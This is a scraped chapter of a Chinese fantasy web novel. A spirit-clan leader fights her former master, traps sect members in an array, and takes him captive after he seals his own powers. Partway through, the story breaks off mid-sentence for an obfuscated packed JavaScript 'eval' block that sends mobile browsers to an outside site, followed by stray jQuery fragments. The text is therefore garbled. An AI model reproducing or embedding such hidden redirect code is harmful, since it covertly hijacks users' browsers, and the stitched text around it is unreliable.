默认冷灰
24号文字
方正启体

18. 自行封仙脉

作者:忽复乘舟本书字数:K更新时间:
    未能按计划活捉沈听竹,现在的局面精灵族并不占优势。再打下去,只怕两败俱伤,讨不到什么便宜。


    只能先让他们撤离此处,再从从长计议。


    清荷咬唇,沈听竹在此,她并无把握自己能够全身而退,但族人不能就这样送死。


    她吸气,声音借助灵力传的甚远:“素来听闻人族注重礼仪,怎么大家不称呼我一句尊主夫人?”


    此言一出,群情鼎沸,底下怒骂声一片,更有弟子已经使出剑法击来。清荷挥袖挡去,出手如电般攻向沈听竹,灵力凝结成的冰凌激射而去,却在距离沈听竹衣衫寸许的位置停住,随后冰凌慢慢化成了水,一滴滴落在地上。


    清荷飞身向前,手中灵力如刃,刀刀刺向沈听竹要害,沈听竹一边堪堪避过,一边问:“你到底要怎么样?!”


    “我要你们死!”


    两片白衣缠斗不休,双方招式圆满,外人竟一时插不进来。


    沈听竹又问:“疏月和乐知,是不是被你杀了?”


    清荷出其不意攻他右边,“当然,碗碗山捉山参那夜,她俩就都死在我剑下了。说起来,青竹峰内务堂发的剑可真快啊。”


    “她们的尸体......”沈听竹的目光染上痛色,他明明知道答案了,却还是想要再求证一遍。


    “人族有句诗写的真好,落红不是无情物,化作春泥更护花。”清荷一掌劈向沈听竹的灵台,“不过此处的落红,指的便是两位师姐的血了。我把她们埋在了一棵花树下,并让那树将她俩吸食殆尽了,那树上的花儿,想必此刻开的正艳。”


    沈听竹心下痛极,挥手挡下清荷的致命一击,继续问:“夜噬怪,是你放的吗?”


    “自然。”


    “城主府七十九条人命......”


    清荷微怔,她并未杀过凡人,因为凡人从来伤害不到她们一族。江城主一家早被她送走,七十九条人命,不过是精灵族特有的障眼法罢了。


    但,这又有何好解释的呢?


    她和沈听竹,从一开始就充满了算计和利用。她现在,并不需要沈听竹的原谅和怜惜,需要的只有,沈听竹的恨。


    恨到极致,恨到失心疯,恨到发现不了她其实在引他向着青竹峰后山而去。


    那里,有清荷早就设计好的阵法。


    从天一阁的古籍中学来的五方阵,只有集合金木水火土之力,她才能活捉大乘修为的沈听竹。


    她在那五方阵之上,还设了溃灵阵的障眼法,那是望真擅长的阵法。她千算万算,没算到沈听竹竟然第一时间是赶来出事的太元宗,而不是救她。


    明知道“清露”修为浅薄,却仍然放任她被困溃灵阵,要知道那阵法,修仙者进去不出一个时辰,便会化作血水。


    清荷抿唇,心口一股邪火,张口便道:“是,都是我做的,你还有什么想知道的?全部问出来吧!”


    她身随势走,就着沈听竹这一挡之下的巨大力道,在空中翻了个漂亮的身,反手又是一枚冰凌射出,沈听竹挥袖,真气灌注其上,那枚冰凌也溶成了水。


    “江都城初遇,全都是你的设计。”沈听竹苦笑,“你身为精灵,自是知道如何假扮成误食了仙果的凡人......清露,你到底杀了多少凡人,又杀了多少同门?”


    “秋竹君可是忘了,我不叫清露,也非玉兰花精。我叫清荷,是鹿鸣湖的荷花成精。”


    清荷一掌推出,声势浩大,“至于我杀了多少人,秋竹君这个问题可是难倒我了,这如何算得清呢?”


    她故意激怒沈听竹,趁着面前男人撑出结界去挡她那看似灵力磅礴的一击的时候,忽地收掌闪身,腰间玉剑被瞬间拔出,毫无迟疑地刺向了男人。


    那一剑刺中了方才转身过来的男人胸口。


    洁白衣衫上,慢慢晕染出一片血色的花。


    “为什么?”


    “为什么?”清荷失笑,不知道沈听竹何来这如此多余的一问,“怪只怪你来得太晚,秋竹君当知道,我是多么心狠手辣的一个精灵。”


    男人神色悲痛,手中赫然唤出了含光。


    ——


    真好,她曾经的师尊,终于肯拿她当作真正的对手了。


    “我说过,如果你真的作恶,为师会亲手清理门户。”


    话音刚落,沈听竹含光刺来,清荷松开了玉剑,弯腰避开含光。那方,沈听竹则是面无表情地一寸寸拔出了刺入胸口的玉剑,带出一片血肉模糊。


    他似乎一点也不在意那触目惊心的伤口,含光咄咄逼来,清荷手中凝出冰凌抗衡。


    “知道我为什么拜你为师吗?”清荷神色凝重,“因为人族强大,我们精灵族,若不师夷长技,那永远也不知道该拿你们怎么办。只有学习人族的东西,知道人族的弱点,然后再出其不意,才能有一线生机。”


    灵力与真气在空中相撞,擦出激烈的虹光。清荷的冰凌被含光削断,她边打边退,以守为攻。


    太元宗有几个人也追了上来,但眨眼间被清荷和沈听竹甩在后面。


    激烈的打斗耗费了清荷不少灵力,她不敢大意,一边接招一边引着追逐她的众人往青竹峰后山而去。


    --------------


    树木葱茏,蝉鸣林幽。


    这片山头,曾经也是她的天地。


    沈听竹步步紧咬,清荷逐渐招架吃力。


    若能轻易胜过他,她又何须数年筹谋,三年蛰伏?


    清荷咬牙,冰凌撞开沈听竹的含光,那剑却忽地调转身子,一下往她的心口而来!


    糟糕!清荷躲闪不及,只能集中灵力护住心口,千钧一发之际,含光却偏离了数寸,直直刺入她的上臂。


    草木之灵大都不怕痛,就算断了茎叶,也基本都能长出来。


    她的胳膊上流出独属于精灵族的特色血液,沈听竹厉声问道:“你知不知错?!”


    都到这种关头了,对和错还重要吗?


    清荷冷笑:“你我立场不同,我为何要知错?我知错如何,不知错,又如何?”


    沈听竹心头一酸,是啊,她知错又如何,不知错又如何?难道知错了,他就可以骗自己不杀她吗?


    “是啊,你我本非同族......”沈听竹喃喃道,“是我们残害你们在先......”


    他嘴唇干裂,艰涩问出一直藏在心里的话:“清露,这两年里,你与我,可有,一丝一毫的真情在?”


    清荷不知沈听竹为何还固执地唤自己作清露干什么,那明明都是假的,三界内,根本没有一个误食仙果的凡人清露,也根本没有一个爱上师尊的凡人清露。


    有的,只是精心谋算的精灵族灵主清荷。


    清荷抬眼看持剑刺向她的沈听竹,疏影横斜的密林下,男人白衣玉簪,翩若谪仙。


    “没有。”


    沈听竹的神色一寸寸崩裂,他缓缓移开灰败的双眼,假装去瞧逐渐西沉的太阳,林间散落的霞光披了他满身,竟有一股寂寥之感。


    清荷在男人的眼眶里,捕捉到不易察觉的一丝晶莹,顺着他的脸颊一闪而过,仿佛从来没有流下来过。


    御剑迟迟赶到的元寄几人终结了清荷与沈听竹的对话。


    “小小精灵吃我一剑!”元寄率先攻来。


    清荷一掌推出,借着力硬生生把胳膊从含光上拔出来,又闪身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17000117|192748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    避开元寄那一剑,嘲讽道:“就你们这样的,也配当太元宗的掌门和元老?怪不得仙门人都说,太元宗是五大仙门里最弱的一派。”


    太元宗的人生平最听不得这样的话,立时头脑发热,全部冲向清荷。


    清荷飞身而起,一脚踏在观星阁的攒顶上,来了个倒挂金钩,只闻刺耳的“哗啦”一声,一支硕大的荷花苞从观星阁下的缸中拔地而起,白色花苞颤抖,然后猛然张开,片片花瓣洁白如斯,端部有浅粉色的脉络,仿佛少女腮红,淡极生艳。


    “小心!”沈听竹这声呼喊已迟,金木水火土,如今幻境已碎,清荷化出原身为木,五方阵自然可以顺利启动。


    那几个一股脑冲上来的太元宗的人全部被阵法所缚。


    硕大的荷花倏尔消失,又化作一个白衣粉发的曼妙女子,正是清荷。她唇边一丝极浅的笑意,这几个愚蠢的人族,此刻全都被困在了缸里。


    他们身上缠满了小臂般粗的藤蔓,其中隐有光华流转。


    “清露,你要做什么?”


    “闻名天下的仙门尊主、出尘绝世的秋竹君,你说我要做什么?”清荷索性不去纠正她的名字,顿了顿,道:“自然是,你现在要救他们,我就现在杀了他们。你现在要不救,我就把他们吊在太元宗山下,昭告世人,得罪精灵的下场。


    哦,当然,我玩够了还是会杀了他们。”


    “这阵法原先是设给我的吧?”沈听竹自嘲地勾了下唇,“我与他们换。”


    “我如何信你?你一个大乘境的修仙者,我可打不过你。”


    “那你说怎么办?”


    “我在天一阁看过一本书,里面写了,要是修仙者封了仙脉,少说有半个月使不得术法,与普通人族便无二致。”清荷缓缓道,“不如,秋竹君先自封仙脉,再来与我谈交换的事。”


    话音未落,沈听竹手起指落,重重点在身上几个穴位之上,竟真的如清荷所言,自行封了仙脉。


    点穴顺序与位置,皆与那书中所言一致,他真的自封了仙脉?清荷难以置信地瞪大了双眼。


    “这样,你可是能信了?”沈听竹的胸口已完全被血浸染,他却浑不在意,又问了一遍,“清露,这样可以了吗?”


    他还是不信,面前的少女对他没有一丝一毫的真心。


    或者说,他不愿意信。


    他在赌,若赢了,少女放走元寄他们,而他,任凭她处置。


    若输了,他拼着死,也会将元寄他们救出。


    他愿意以命去试。


    以命去平息少女族人的怒火,以命去割舍这段错付的深情。


    清荷皱眉,片刻后,她默念咒语,捆着太元宗几人的藤蔓缓缓消失。她挥手击倒水缸,又伸脚一踢,那缸便骨碌碌地沿着后山滚下去了。


    待到耳边聒噪的哎呦声绝了,她才道:“沈听竹,你真傻。”


    傻吗?


    他赌赢了。


    清荷伸指遥遥在他身上画圈,地上的小草慢慢生长,一圈圈缠住了沈听竹,清荷道:“我还是不放心,毕竟秋竹君太过强大,我还是捆一下比较好。”


    她又凝了灵力,变幻成一片薄薄的水雾丝带,蒙上沈听竹的眼睛。


    “精灵族的地界,秋竹君还是不要知道的为好。”她解释道。


    草木之灵若生于土里,行路一般都是用土遁之术;若生于水里,则用水遁之术。


    清荷拖着沈听竹不便长时间土遁,只得带他下了山。


    寻到那条熟悉的蜿蜒长河,清荷挥袖,一片巨大的荷叶傲然飘于水上,她带着沈听竹坐上去,心中咒语催动,荷叶便似一叶极快的扁舟,急速朝仙台山方向而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)